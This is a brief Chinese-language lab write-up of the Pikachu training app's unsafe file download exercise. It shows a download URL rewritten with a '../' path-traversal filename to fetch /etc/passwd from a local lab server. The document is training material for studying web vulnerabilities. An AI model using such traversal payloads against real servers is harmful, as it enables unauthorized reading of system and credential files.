pikachu-FileDownload
1.Unsafe Filedownload
点击球星头像即可下载图片
![在这里插入图片描述](https://img-blog.csdnimg.cn/93818be6aed143a4bcc36ba0848cc01b.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5bCP55m95aS05Y-R5bCR,size_20,color_FFFFFF,t_70,g_se,x_16#pic_left)
构造地址,下载服务器的/etc/passwd
http://192.168.1.150/pikachu-labs/vul/unsafedownload/execdownload.php?filename=kb.png
# 构造后
http://192.168.1.150/pikachu-labs/vul/unsafedownload/execdownload.php?filename=../../../../../../../../etc/passwd
![在这里插入图片描述](https://img-blog.csdnimg.cn/b6b9c060b92548cb99ee0ab033f9927b.png#pic_left)